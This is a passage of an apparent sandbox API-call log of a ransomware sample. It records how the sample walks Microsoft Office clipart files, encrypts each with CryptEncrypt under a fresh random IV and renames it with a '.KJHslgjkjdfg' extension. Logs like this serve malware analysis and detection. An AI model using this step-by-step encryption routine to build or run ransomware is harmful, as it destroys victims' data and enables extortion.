lpNumberOfBytesWritten=0x4dff270*=0x9d70, lpOverlapped=0x0) returned 1 [0203.839] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.839] SetEndOfFile (hFile=0x130) returned 1 [0203.842] GetProcessHeap () returned 0x2ef0000 [0203.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.842] GetProcessHeap () returned 0x2ef0000 [0203.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.kjhslgjkjdfg")) returned 1 [0203.843] CloseHandle (hObject=0x130) returned 1 [0203.843] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0203.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.845] GetProcessHeap () returned 0x2ef0000 [0203.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.846] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.846] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.848] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.848] GetProcessHeap () returned 0x2ef0000 [0203.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.848] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.849] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.849] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.849] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.849] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.849] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.849] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc20c, lpOverlapped=0x0) returned 1 [0203.851] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc210, dwBufLen=0xc210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc210) returned 1 [0203.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.852] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc210, lpOverlapped=0x0) returned 1 [0203.852] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.852] SetEndOfFile (hFile=0x130) returned 1 [0203.855] GetProcessHeap () returned 0x2ef0000 [0203.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.855] GetProcessHeap () returned 0x2ef0000 [0203.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.kjhslgjkjdfg")) returned 1 [0203.857] CloseHandle (hObject=0x130) returned 1 [0203.857] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0203.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.858] GetProcessHeap () returned 0x2ef0000 [0203.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.858] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.858] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.861] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.861] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.861] GetProcessHeap () returned 0x2ef0000 [0203.861] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.861] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.861] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.862] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.862] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.862] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.862] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xae08, lpOverlapped=0x0) returned 1 [0203.864] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae10, dwBufLen=0xae10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xae10) returned 1 [0203.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.865] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xae10, lpOverlapped=0x0) returned 1 [0203.865] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.865] SetEndOfFile (hFile=0x130) returned 1 [0203.869] GetProcessHeap () returned 0x2ef0000 [0203.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.869] GetProcessHeap () returned 0x2ef0000 [0203.869] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.kjhslgjkjdfg")) returned 1 [0203.871] CloseHandle (hObject=0x130) returned 1 [0203.871] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0203.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.872] GetProcessHeap () returned 0x2ef0000 [0203.872] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.872] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.872] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.874] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.875] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.875] GetProcessHeap () returned 0x2ef0000 [0203.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.875] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.875] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.875] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.875] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.875] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.876] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe17a, lpOverlapped=0x0) returned 1 [0203.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe180, dwBufLen=0xe180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe180) returned 1 [0203.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe180, lpOverlapped=0x0) returned 1 [0203.880] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.880] SetEndOfFile (hFile=0x130) returned 1 [0203.883] GetProcessHeap () returned 0x2ef0000 [0203.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.883] GetProcessHeap () returned 0x2ef0000 [0203.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.kjhslgjkjdfg")) returned 1 [0203.885] CloseHandle (hObject=0x130) returned 1 [0203.885] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0203.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.886] GetProcessHeap () returned 0x2ef0000 [0203.886] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.886] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.889] GetProcessHeap () returned 0x2ef0000 [0203.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.889] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.889] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.890] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.890] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x714e, lpOverlapped=0x0) returned 1 [0203.891] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7150, dwBufLen=0x7150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7150) returned 1 [0203.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.891] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7150, lpOverlapped=0x0) returned 1 [0203.892] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.892] SetEndOfFile (hFile=0x130) returned 1 [0203.893] GetProcessHeap () returned 0x2ef0000 [0203.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.893] GetProcessHeap () returned 0x2ef0000 [0203.893] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.kjhslgjkjdfg")) 